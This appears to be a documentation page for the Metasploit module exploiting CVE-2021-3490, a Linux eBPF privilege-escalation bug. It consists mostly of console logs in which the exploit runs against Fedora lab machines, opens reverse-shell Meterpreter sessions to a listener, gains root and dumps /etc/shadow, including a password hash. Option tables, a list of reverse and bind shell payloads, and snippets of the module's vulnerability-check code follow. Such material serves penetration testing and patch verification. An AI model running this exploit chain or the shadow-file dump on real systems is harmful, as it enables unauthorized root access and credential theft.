[+] Deleted /tmp/.yYaQKj
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:60752) at 2021-08-20 16:34:42 -0500
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 32 (Linux 5.9.8-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ localhost.localdomain (uid=1000, gid=1 192.168.224.128:37027 -> 192.168.224.223:4444
000, euid=1000, egid=1000) @ loc... (192.168.224.223)
2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:60752
uid=0, egid=0) @ localhost.local... (192.168.224.223)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >
Fedora 32 Linux Kernel 5.10.12-100
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.224.223:4444
[*] Sending stage (3012548 bytes) to 192.168.224.223
[*] Meterpreter session 1 opened (192.168.224.128:45349 -> 192.168.224.223:4444) at 2021-08-20 17:59:50 -0500
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 32 (Linux 5.10.12-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.dFIC3w' (39352 bytes) ...
[*] Writing '/tmp/.sYuymmhR3Y' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.dFIC3w
[+] Deleted /tmp/.sYuymmhR3Y
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:53154) at 2021-08-20 18:02:58 -0500
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 32 (Linux 5.10.12-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 2...
semsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ localhost.localdomain (uid=1000, gid=1 192.168.224.128:45349 -> 192.168.224.223:4444
000, euid=1000, egid=1000) @ loc... (192.168.224.223)
2 meterpreter x64/linux root @ localhost.localdomain (uid=0, gid=0, e 192.168.224.128:4444 -> 192.168.224.223:53154
uid=0, egid=0) @ localhost.local... (192.168.224.223)
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >
Fedora 34 with Linux Kernel 5.11.12-300
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux test @ fedora (uid=1000, gid=1000, euid=1000, 192.168.224.128:43029 -> 192.168.224.224:4444
egid=1000) @ fedora.local (192.168.224.224)
msf6 > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set LPORT 6644
LPORT => 6644
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION 1 yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 6644 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit
[*] Started reverse TCP handler on 192.168.224.128:6644
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Unprivileged BPF loading is permitted
[+] Kernel version 5.11.12-300.fc34.x86_64 appears to be vulnerable
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.TGPokxM' (39352 bytes) ...
[*] Writing '/tmp/.RM7G8l5CtW' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.224.224
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.TGPokxM
[+] Deleted /tmp/.RM7G8l5CtW
[*] Meterpreter session 3 opened (192.168.224.128:6644 -> 192.168.224.224:45650) at 2021-08-23 14:50:52 -0500
meterpreter > getuid
Server username: root @ fedora (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : fedora.local
OS : Fedora 34 (Linux 5.11.12-300.fc34.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > cat /etc/shadow
root:!::0:99999:7:::
bin:*:18656:0:99999:7:::
daemon:*:18656:0:99999:7:::
adm:*:18656:0:99999:7:::
lp:*:18656:0:99999:7:::
sync:*:18656:0:99999:7:::
shutdown:*:18656:0:99999:7:::
halt:*:18656:0:99999:7:::
mail:*:18656:0:99999:7:::
operator:*:18656:0:99999:7:::
games:*:18656:0:99999:7:::
ftp:*:18656:0:99999:7:::
nobody:*:18656:0:99999:7:::
apache:!!:18740::::::
systemd-network:!!:18740::::::
systemd-coredump:!!:18740::::::
systemd-resolve:!!:18740::::::
systemd-oom:!!:18740::::::
systemd-timesync:!!:18740::::::
tss:!!:18740::::::
dbus:!!:18740::::::
polkitd:!!:18740::::::
avahi:!!:18740::::::
unbound:!!:18740::::::
dnsmasq:!!:18740::::::
nm-openconnect:!!:18740::::::
usbmuxd:!!:18740::::::
gluster:!!:18740::::::
rtkit:!!:18740::::::
pipewire:!!:18740::::::
geoclue:!!:18740::::::
chrony:!!:18740::::::
saslauth:!!:18740::::::
radvd:!!:18740::::::
rpc:!!:18740:0:99999:7:::
qemu:!!:18740::::::
openvpn:!!:18740::::::
nm-openvpn:!!:18740::::::
colord:!!:18740::::::
rpcuser:!!:18740::::::
abrt:!!:18740::::::
flatpak:!!:18740::::::
gdm:!!:18740::::::
gnome-initial-setup:!!:18740::::::
vboxadd:!!:18740::::::
sshd:!!:18740::::::
tcpdump:!!:18740::::::
test:$6$ljo05fNdlEN6MXS$wKC5TeBRRD8W3LYglBpXV3ydvvK5348cTO0T65haiZ9utDVJCdMD9vJoKr.w0OeHKSr4FahUv/CUIsFcdQqUT/:18862:0:99999:7:::
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show info
Name: Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE
Module: exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2021-05-11
Provided by:
Manfred Paul
chompie1337
Grant Willcox
Module stability:
crash-os-down
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload information:
Description:
Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and
5.10.37 are vulnerable to a bug in the eBPF verifier's verification
of ALU32 operations in the scalar32_min_max_and function when
performing AND operations, whereby under certain conditions the
bounds of a 32 bit register would not be properly updated. This can
be abused by attackers to conduct an out of bounds read and write in
the Linux kernel and therefore achieve arbitrary code execution as
the root user. The target system must be compiled with eBPF support
and not have kernel.unprivileged_bpf_disabled set, which prevents
unprivileged users from loading eBPF programs into the kernel. Note
that if kernel.unprivileged_bpf_disabled is enabled this module can
still be utilized to bypass protections such as SELinux, however the
user must already be logged as a privileged user such as root.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-3490
https://www.openwall.com/lists/oss-security/2021/05/11/11
https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490
https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification
https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e
https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
https://www.zerodayinitiative.com/advisories/ZDI-21-606/
https://ubuntu.com/security/notices/USN-4950-1
https://ubuntu.com/security/notices/USN-4949-1
Module Options
This is a complete list of options available in the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit:
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
CmdTimeout 120 yes Maximum number of seconds to wait for the exploit to complete
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit:
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show advanced
Module advanced options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe module can exploit:
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit:
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- System architecture <ARCH> is not supported
- Unprivileged BPF loading is not permitted
- The target Ubuntu server does not have the expected kernel version format!
- Target Ubuntu kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!
- Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!
- Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!
- Unknown target kernel version, recommend manually checking if target kernel is vulnerable.
- The target Fedora server does not have the expected kernel version format!
- The target Fedora server does not have the expected minor kernel version format!
- Target Fedora kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!
- Target Fedora system is running a 5.11.20 kernel however it has been patched!
- Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced
- Target is not a known target, so we can't check if the target is vulnerable or not!
- Could not retrieve kernel config
- Kernel config does not include CONFIG_BPF_SYSCALL
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- The target server does not have the expected kernel version format!
- The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!
- Note that things may appear to hang due to the exploit not exiting.
- Feel free to press CTRL+C if the shell is returned before <CMDTIMEOUT> seconds are up.
- The exploit failed! Check to see if you are running this against the right target and kernel version!
- The response was: <RESPONSE>
- No indication of exploit success or failure, try increasing CmdTimeout value!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
System architecture <ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:
88: # https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=743aa456c1834f76982af44e8b71d1a0b2a82e2
89: # combined with the fact that those distros that do have older x86 versions mostly have 4.x or older kernels,
90: # and 90% of them have dropped support for x86 kernels a while back, we'll just assume that if its x86, its probably not
91: # running an affected Linux kernel.
92: unless arch.include?('x86_64')
93: return CheckCode::Safe("System architecture #{arch} is not supported")
94: end
95:
96: if unprivileged_bpf_disabled?
97: return CheckCode::Safe('Unprivileged BPF loading is not permitted')
98: end
Unprivileged BPF loading is not permitted
Here is a relevant code snippet related to the "Unprivileged BPF loading is not permitted" error message:
92: unless arch.include?('x86_64')
93: return CheckCode::Safe("System architecture #{arch} is not supported")
94: end
95:
96: if unprivileged_bpf_disabled?
97: return CheckCode::Safe('Unprivileged BPF loading is not permitted')
98: end
99:
100: vprint_good('Unprivileged BPF loading is permitted')
101:
102: release = kernel_release
The target Ubuntu server does not have the expected kernel version format!
Here is a relevant code snippet related to the "The target Ubuntu server does not have the expected kernel version format!" error message:
104:
105: # If the target is Ubuntu...
106: if version =~ /[uU]buntu/
107: version_array = release.split('-')
108: if version_array.length < 2
109: fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
110: end
111: major_version = version_array[0]
112: minor_version = version_array[1]
113:
114: # First check if we are past the 5.11.x kernel releases and into at the time of
Target Ubuntu kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!
Here is a relevant code snippet related to the "Target Ubuntu kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!" error message:
112: minor_version = version_array[1]
113:
114: # First check if we are past the 5.11.x kernel releases and into at the time of
115: # writing beta versions of Ubuntu. If so,the target isn't vuln.
116: if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
117: return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
118: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122: elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!
Here is a relevant code snippet related to the "Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!" error message:
114: # First check if we are past the 5.11.x kernel releases and into at the time of
115: # writing beta versions of Ubuntu. If so,the target isn't vuln.
116: if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
117: return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
118: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122: elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
123: return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124: end
Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!
Here is a relevant code snippet related to the "Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!" error message:
116: if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
117: return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
118: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122: elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
123: return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124: end
125: elsif release =~ /\.fc3[2,3,4]\./
126: version_array = release.split('-')
Unknown target kernel version, recommend manually checking if target kernel is vulnerable.
Here is a relevant code snippet related to the "Unknown target kernel version, recommend manually checking if target kernel is vulnerable." error message:
118: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121: return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122: elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
123: return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124: end
125: elsif release =~ /\.fc3[2,3,4]\./
126: version_array = release.split('-')
127: if version_array.length < 2
128: fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')
The target Fedora server does not have the expected kernel version format!
